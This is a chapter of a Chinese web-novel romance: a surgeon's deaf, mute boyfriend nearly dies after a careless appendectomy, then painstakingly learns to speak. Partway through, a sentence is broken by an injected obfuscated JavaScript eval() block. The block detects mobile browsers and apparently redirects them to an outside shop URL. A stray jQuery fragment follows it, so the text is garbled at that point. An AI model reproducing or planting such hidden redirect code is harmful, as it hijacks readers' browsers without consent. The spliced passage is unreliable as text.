车辆消失在落叶金黄的十一月尽头。
温斯语转过身，抬手将披肩遮在头顶上，挡住不停涌向他的寒风。他的一只手在大衣口袋里，握着刚刚贺知意用告别的话，同他交换的珍宝珠。
葡萄味，温斯语从来没有吃过葡萄味。
院子角落的宠物木屋，已经被修好了，亮着橘黄色的暖气灯光，一窝小兔子挤作一团。
温斯语愣了愣，打开门，五只瘦弱不堪的小兔子在暖箱里颤着身体休息。前两天被他们接回家的那只也在，比它兄弟姐妹们大一圈，在另一端眯着眼睛吃草。
怪不得鞋子上有泥点。
温斯语垂下眼。
傍晚，院子里来了人。
堂哥阿凯拎着只卤鹅，“小语，这是刚卤好的鹅，你从小就喜欢吃大鹅腿，我挑了跑得最快的一只鹅，肯定好吃。”
我喜欢吃贺知意做的烤鸡腿。
温斯语伸手接过，“谢谢。”
“诶。”
堂哥刚转身，突然，瞪大眼睛看着刚刚说话的温斯语，“小语，你会说话了？”
温斯语会说话了，但他小气，这么多年只跟贺知意说。
他本来就是为了贺知意，才学说话的。
他们刚在一起的第一个冬天，温斯语得了急性阑尾炎，刚开始以为是自己摔了跤，撞到肚子，但温斯语打开贺知意给他录的视频。
“温斯语小朋友，你好。打开这个视频，肯定是因为你感到腹部不适，那么现在我们来确认是来自腹部九区的什么位置……”
温斯语跟着贺知意，找到了右下腹阑尾。
视频的结尾，贺知意穿上了衣服，说：“确认好疼痛位置和等级后，要做的第一件事是联系贺知意。”
这是在他们还没有在一起时录的，不然，贺知意一定会加上[男朋友]三个字。
温斯语没这么做，今天贺知意有台会诊主刀的颅底脑膜瘤手术，四点就出门了。
他甚至没有去贺知意的医院，他给埃里克发了简讯，请他帮忙推荐医院，和准备就诊需要的东西。
埃里克是第一年住院医生，基础扎实，反应快，手稳，贺知意挺看好他的，也是医院为数不多，知道他们恋爱关系的人。
埃里克冒着被贺知意活埋的风险，替温斯语安排了医院。还有一封交给医生的医疗邮件，让不会讲话的温斯语省去许多自述麻烦。
——是贺知意为温斯语准备的。
每三个月，贺知意就会为温斯语更新医疗信息，电子版和医疗卡都有，如果发生意外急救人员就能看见。
埃里克这次更新了他的肺部情况，前段时间温斯语得了流感，肺部感染，没办法做全麻腹腔镜，得只能半麻传统切除。
几个实习生第一眼就看见了他，比起病例，或许还有温斯语漂亮的缘故，抢着过来，将他扶上了担架床。
温斯语身上叮铃哐当的，发卡上的铃铛，胸前挂着的手机和贺知意为他准备的请求帮助的卡片。但他是安静的，瓷白的小脸陷在病床枕头里，带点茫然地看着为他争论不休的实习生们。
还好贺知意不在，否则肯定会发火地喊他们什么叉子。
住院医生来接诊了他，夸他准备得很专业充分，开始做术前询问。
“……近期在用什么药？有没有摔倒受过伤？”
温斯语疼得咬住了下唇，鼻尖渗着汗珠，歪斜身体，发丝和枕头微微摩擦，蹭掉了早上贺知意为他绑头发的发带。
“噢，这里。”医生弯腰将他的发带捡起，“漂亮的头发。放轻松，我现在就带你去手术室。护士，来这边。”
终于进了手术室。
温斯语不想听见自己被割开的声音，没戴助听器。阑尾手术很简单，半小时就好了。
一墙之隔，贺知意也在这家医院做手术。
切下肿瘤边缘组织标本正在送检，手术暂停，贺知意起身活动。
埃里克找到贺知意，询问方才手术的细节。
手术室的大家都得以稍稍休息，开始聊天，说医院来了一个漂亮的病人。
“他真的非常漂亮。我从来没见过有人的头发那么柔顺，我甚至想去问他在哪家沙龙做的护理。”
贺知意一心二用，在心里想，他的宝宝头发才是最柔顺的。
“还有，他的眼睛是那么黑，又那么亮，就像是玻璃珠子，哦不，是钻石，不，星星。”
贺知意同样不以为然，他的宝宝眼睛才是最亮的。
“可惜，他不会说话，是个聋哑人，但是这好像让他更漂亮的，就像被摆放在博物馆里最名贵的雕塑。不过这次是躺在手术台上，肯定也很漂亮，噢等等，这更漂亮了。”
埃里克猛地瞪大眼：damn！
贺知意缓缓抬起头，口罩上方的眼睛定了两秒，开始慢条斯理地脱下带血的手套和手术衣，在众人惊讶中走出了手术室。
手术台上，温斯语已经打了椎管内麻醉，清醒，但又晕乎乎的。
恍惚间，他以为自己看见了贺知意。
主刀医生正拿着手术刀，准备切下第一刀，质问大摇大摆走进手术室的人是谁。
贺知意拿起温斯语的病例，快速地扫了一眼，“做腹部CT了吗？”，然后，反问他是谁。
“转移性右下腹痛，麦氏点压痛，白细胞升高，不需要CT.我是这个医院的住院…”
“不行，让你们普外科主任来做这个手术。”贺知意瞥向他，“把你的手术刀放下。”
医生认出了贺知意，不敢惹他，但被赶出自己手术室这种事情，绝对不能发生。
“贺医生，这个病人你认识？这是一台简单的阑尾手术，实习生都可以做。”
“是，但不是这个世界上所有人，都有资格切开我的男朋友。”贺知意看向护士，“呼叫你们普外科主任，现在。”
贺知意不再理会那些，趁着送检结果还没出来，来到手术台旁，弯腰，摘下口罩，握住了温斯语打着点滴的冰凉小手。
“坏兔子。”
贺知意很想再说温斯语两句，可是，温斯语好可怜地躺在台上，戴着手术帽和鼻氧管。见到贺知意，温斯语就傻乎乎地对他笑，然后想起自己是瞒着他来医院，又抿住嘴唇，嘟着脸不敢笑了。
贺知意皱眉，松开一只手，抚摸上温斯语的脸，“没事，阑尾手术很简单，别害怕。”
温斯语点点头。
贺知意低头来亲他，不停用大拇指摩挲着温斯语的脸，亲他的嘴唇，亲他的脸颊，安慰他。
医院的外科主任带着另一名主治医生来了，向贺知意解释：理解他的担心，但普外主任正在做手术，没办法赶来，将会由这位主治全程监管负责这台手术，让他放心。
贺知意看其他人的脸色又恢复了欠揍的冷漠，想说什么，但温斯语捏了捏他的手指，摇头。
贺知意没再发难。
“宝宝，我在等病理结果，如果顺利，我会让埃里克缝合，然后来握着你的手，陪你做完手术。”贺知意亲了亲他的手背，“如果不顺利，等你在恢复室睡一觉，睁开眼就能见到我了，好吗？”
温斯语乖巧点头，微微扬起下巴，让贺知意来亲他。
病理结果出来了，阳性，贺知意需要继续回到手术台。临走前，他背过身不让温斯语看他的口型，好好对主刀医生「叮嘱」了两句。
温斯语抱歉地对在场的医护们笑了笑。
来监管手术的主治医生，让他别放在心上，“自己爱的人躺在手术台上，一定会担心，我们都能理解。尤其是贺医生，如果我在他这个年纪就能有这样的成就，相信我，我会比他更猖狂。放轻松。”
手术开始，温斯语能感觉到腹部的拉拽，然后，渐渐地，他觉得身体好冷。
头顶原本明亮的手术灯，忽然被医护遮盖，好多人围了过来。
“糟糕！DIC！”
“他为什么会出现解弥散性血管内凝血？血压掉到多少了？术前评估有没有说他有在吃抗凝药，或者摔倒了？”
“纱布！我，我没有问到这个，当时…”
“你没有问？！那你现在准备派谁去告诉贺知意，不知道为什么他男朋友出现了DIC，现在需要开腹找出血点！”
他们都戴着口罩，温斯语不知道他们在说什么，只觉得自己好冷，意识模糊。
眼角余光里，温斯语看见自己的鼻子流出了血，他抬手，自己的静脉输液管里也全是血。
他看见医生摘了口罩，询问他近期有没有外伤史。
有的，温斯语今天早上在家里摔倒，可是他说不出来，点头也来不及，温斯语昏了过去。
贺知意那边等了一刻钟，没有听到这边派人来汇报温斯语的手术进度，让埃里克来询问。
埃里克走进来，吓得在口罩后又骂了句what the hell.
“埃里克，我们已经找到了出血点，但现在贺医生的手术还没结束，你不能告诉他这个情况。”
埃里克当然知道，但他更知道等着一切结束后，他离死不远了。
贺知意双眼没有离开手术显微镜的目镜，问：“怎么样？手术结束了吗，他是不是去恢复室了？”
埃里克在重新戴手套，说对，温斯语已经在恢复室休息了。
贺知意轻轻舒了口气。
“那就好，虽然我不知道自己在担心什么，只是一个阑尾手术。或许是他没告诉我这件事。”
“斯语，他应该是不想让你担心。”
“我知道，他一直都是一个乖孩子，很懂事，也总是体谅我的工作，知道我今天有重要手术，不想让我担心。冲吸。但我不希望他养成这个坏习惯，他应该告诉我，我能同时处理好这两件事。”
“是，他的确应该这么做。”埃里克顺着话说。
贺知意沉吟片刻，“是因为我的反应太激烈了。就像刚刚冲进其他医生的手术室，是一件很不专业的事。冲吸。他一定会让我去道歉，我也应该道歉，但这些只能让现在的我去思考，在我看见他躺在手术台的那一刻，什么都顾不了。”
贺知意在口罩下笑了笑，“感情真是一件奇妙的事，爱上温斯语之后，我才感受到这样的情绪，很特别。”
埃里克脑中闪过刚刚看到，温斯语腹部被切开，血流不止，塞满了止血的纱布。
贺知意：“埃里克，你让护士不准给他吃果冻，他这个礼拜的甜食已经超额了。不过，他刚做完手术…你让人去我的包里，给他拿珍宝珠，可以多吃一个。”
手术室的氛围轻松不少。
贺知意开始和他们讲温斯语为了骗糖果吃，都做过什么可爱的蠢事，然后在看过牙医后害怕了，每次刷完牙都会让他检查，乖得不得了。其他医护都在笑，除了埃里克。
肿瘤成功全切。
埃里克：“贺医生，我可以做剩下的缝合。”
贺知意点头，起身，摘下手套，“我正准备让你接手，我要去恢复室看他。这是他第一次做手术，肯定吓坏了，明天我会请假在家陪他，你刚好去其他科室……”
埃里克：“他还在手术。”
贺知意摘口罩的动作顿住，眉骨下那双漆黑的眼睛逐渐凝固，浑身紧绷，死死盯着埃里克。
埃里克：“他出现了DIC，现在正在进行紧急开腹探查，脾脏被膜下出血…”
贺知意冲出手术室。
手术室是静谧的蓝色，对贺知意而言是能让他平静，获得安宁的大海，从未想过某天会起这么大的风。
温斯语是雪白的浪花，溺水的海鸟。
温斯语躺在手术台上，侧着脸，闭着眼，唇齿微张，气管导管穿过他的口腔，进入他的气管，维持着他的呼吸。
温斯语浑身是血，脸上，手背上，开膛破肚的内脏里……谁会这么欺负一只兔子。
听不见，不会说话的兔子。
手术台旁换上了普外科主任，为什么换人？是为了最后告诉病人家属，他们尽了最大的努力吗？
仅存的理智，让贺知意转身走出手术室，沉默地坐到观摩室。
他躬着腰，手臂撑在膝盖上，手里握着他的手术帽。浅蓝色的手术帽，温斯语说，等他能拥有自己的手术帽，就给他缝好多有小兔子的帽子。
外科主任陪在贺知意身旁，对他承认在术前检查的疏忽，还有明确术中风险的不可预知性。
贺知意在打了个电话后，未发一言。
医院董事会的人也来了，开始用商人那一套向贺知意表达担心和抱歉。
手术结束了，准备缝合。
贺知意起身，一拳捶在对讲机按钮上，“把你手里的持针器放下，不准用你们的破烂缝线和技术在他身上留下任何伤疤。”
贺知意把东海岸最好的整形医生叫来了，正在楼顶的停机坪。
这属于医疗事故。
术前评估应该询问温斯语的用药和外伤史，但在询问这一步时，温斯语缠头发的发带掉了。为了献殷勤，医生弯腰为他捡发带，忘记了这个问题，而是夸他的头发有多漂亮。
温斯语不会说话，在手术中哪怕知道他们在问什么，也什么都回答不了。
病房走廊外，站满了相关医生，董事会，行政人员和律师。
“贺知意是会把这家医院告到破产，还是会在买下这家医院后，把所有参与这个病例的人，折磨得生不如死。猜一下？”
“我不知道，但如果是我的爱人，因为医生的疏忽发生这样的事…你知道他们翻遍他所有内脏去找出血点，浪费的时间，让他失血过多，差点没办法维持循环。如果他们问了，就会在术前做CT，发现腹部的顿挫伤，根本就不会等到DIC爆发，才做紧急开腹探查。”
病房里，温斯语醒了。
贺知意握着他的手，亲吻他的脸，安抚他，“很痛，我知道，别怕，都过去了。”
温斯语喝了水，戴上助听器，听着贺知意说他手术发生的事。贺知意勉强在他面前维持的镇定，在说到后面时，咬牙切齿，搭在床边的手紧握成拳。
温斯语伸手，将贺知意的手拉过来，放在自己脸颊旁。
贺知意触碰温斯语时，所有愤怒厌恶的负面情绪都会消失。像被妈妈安抚的哭闹孩子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971806|214675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。这次也不例外，贺知意胸膛的起伏不再激烈，靠过来，温柔地吻他。
温斯语：每个人都会犯错，每个人都有被原谅的机会。
温斯语仰起脸，亲了贺知意。
温斯语：不生气，我不害怕。
贺知意不知道这个世界上怎么会有温斯语这么善良的人，明明听不见，却总是在聆听他人的难处，换位思考，体谅和理解。这个世界真该庆幸拥有温斯语。
事故按照医院规定处理，贺知意没有再额外动作。
贺知意开始担心另一件事。
“宝宝，你不会说话。”
温斯语在吃喝药奖励的糖果，点头。
贺知意：“你能说话，但是你不愿意说话。”
温斯语也点了头。
这件事他们之前就讨论过，温斯上过一次课，他发出来的声音像灶台烧火拉的风箱，很难听。贺知意知道，没有逼他。
贺知意放下药膏，将温斯语轻轻抱进怀里，“那从今天开始，我们去上课，学说话。”
温斯语捏着珍宝珠，眉心蹙得紧紧的，他真的不想说话。
不说话，没人知道他是残疾人；说话，所有人都知道了。看他的眼神会充满怜悯，温斯语已经习惯了，但：贺知意的男朋友是残疾人。他不想贺知意也感受到这样的目光。
为什么。他问贺知意。
“我永远都能明白你在想说，但是我不能一直在你身边。”
贺知意握住他的手，“宝宝，我很担心你，担心我不在你身边，就没人明白你在受伤，在忍受疼痛，我不想这样的事情再发生第二次。受伤了，需要帮助…我们要说出来，要除了我以外的其他人也能知道。”
温斯语抽出手，糖果也不要了，丢掉，急切地打着手语：你不在我身边，你要去哪里。
贺知意将他抱得更紧，“我哪里也不会去，永远都陪在你的身边，但会有像这次的事发生，明白吗？”
温斯语眼睫闪动：就算我会说话，你也不会离开我。
“我不会离开你。但我需要你会保护自己，会求救，就算你学会之后依旧不愿跟别的人说话也没关系。我只是真的很担心你，很爱你。”
温斯语看着贺知意的眼睛，慢慢地，双手握成拳头，用力点头。
学说话很难，非常难。
温斯语的构音肌群，嘴唇，舌头，软腭等没有过精细动作的练习，舌尖点触找位置都做不到；声带更是没办法控制，发出来的声音忽大忽小，忽高忽低；不明白说话要与呼吸配合，该吐气的时候吸气，憋气，句子零散。
很多，很多…很难，很难。
温斯语每次上口肌课都会哭，舌头很累，颊肌很累，说得不好听，很伤心…温斯语坐在板凳上哭，泪眼涟涟，扭头去看门外的贺知意。
贺知意之前在教室里旁听，因为温斯语哭得太厉害，他经常打断上课，把人接走。
事后也知道自己不对，只好要求校长把他关在教室外边。
教室隔音很好，但温斯语哭得太厉害了，擦过眼泪，湿漉漉的手紧张局促地捏在胸前，脸和脖子哭得潮红，身体在不停地发抖。温斯语发现贺知意不进来接他，急得坐在原地跺脚。
“z…yi…”
温斯语受不了压舌板，站起来，哭着朝门口跑，拍着被反锁的门，要贺知意带他走，不要上课了。
贺知意最喜欢咬他嘴巴旁边的嘟嘟肉，如果练习太多次，就没这么软了！他宁愿回潞湖种地挖土，割猪草喂猪，也不想在波士顿上发音课。他要回去喂猪，贺知意，我要回去喂猪！
事后反思，死不悔改。
贺知意踹开门，把快哭晕过去的温斯语抱走了。
后边的课，是谢菁过来陪温斯语上的，不准贺知意再跟课。还给温斯语报了发音课的夏令营，一个礼拜，离开贺知意一个礼拜，险些将贺知意逼疯。
中途，他偷偷去看过温斯语。
温斯语挺开心的，还跟营地里的同学，坐在树下玩牌，赢牌后很努力地笑，发出声音。
贺知意气得血压都高了。
成长是好事，但没有他在不行，和别人更不行，贺知意又准备把温斯语强行接走。但这次，温斯语拒绝了。
温斯语：我很努力学习，你不要打扰我。
贺知意气笑了。
在他眼里，温斯语就像是见到满地萝卜秧的兔子，一头扎进去，将他抛诸脑后。
可从夏令营回来后，温斯语会嗯嗯叫了。
贺知意愣了好一会儿，换着角度和力度多试了几次，每次嗯嗯的声音还不一样。温斯语咬着指节，看着他，发出细微又迷人的声音。
温斯语没戴助听器，自己都没意识到。贺知意听了好几天，心里舒服，浑身都是舒服，然后恶劣地给温斯语戴上，等待，凝视，当温斯语听见自己发出声音时害羞的脸。然后，让温斯语发出更多的嗯嗯声。
“好可爱，我的小猪兔宝宝。”
波士顿今年雪下得早。
温斯语在医院楼下等贺知意，踮脚，将自己特意织的双人围巾，戴到贺知意的脖子上。贺知意搂着温斯语，像围巾上坠了个粉色挂件。
他们停在初吻的豆梨树下，雪是黝黑枝丫上的梨花。
温斯语有话跟贺知意说：“贺知意，窝，系，温希氲，窝，耐，泥……”
好难，温斯语没说好，有些气馁。
他皱眉，摆了摆戴着粉色毛绒手套的手，重新说：“贺知意，窝…”
贺知意抱住他。
那是温斯语第一次说话。
谢菁告诉他，学会说话就可以对爱的人说「我爱你」。
温斯语为了对贺知意说「我爱你」，练习了好久，哭了很多次，但他全都没有放弃，因为他想对贺知意说「我爱你」，因为他真的爱贺知意。
贺知意也是。
贺知意在初雪里的豆梨树下，用力地抱住他，“温斯语，谢谢你，我也爱你，更爱你。”
温斯语每次跟贺知意说话，都是以喊他名字开头，像游戏里的小人的互动交互F键，替换成了「贺知意」，学会说话后，也是温斯语最熟练，最喜欢的三个字。
贺知意也学他，喊他温斯语。
温斯语点头说可以，但还是要叫他宝宝。贺知意偏头来亲他，说好的，宝宝。
贺知意很久没这么叫他了。
哪怕是在梦里，贺知意也只叫他「温斯语」，问他是不是真的要分手，问他为什么，问他可不可以不分手。
温斯语睁开眼。
他掀开被子，冲进卫生间抱着马桶呕吐。他昨晚戴着助听器睡的，听见了自己的呕吐声，刚想捂住嘴，想起贺知意已经被他赶走了。温斯语摘掉助听器，吐得流出眼泪，身体不停发抖。
洗完澡，温斯语从枕头下摸出那根葡萄味的珍宝珠，放进嘴里，抿化。
然后，温斯语想起来他吃过这个口味。
也是贺知意给他买的，说草莓牛奶没了，明天再给他买。温斯语没放在心上，但第二天贺知意真的给他买了。
这时，门外响起敲门声。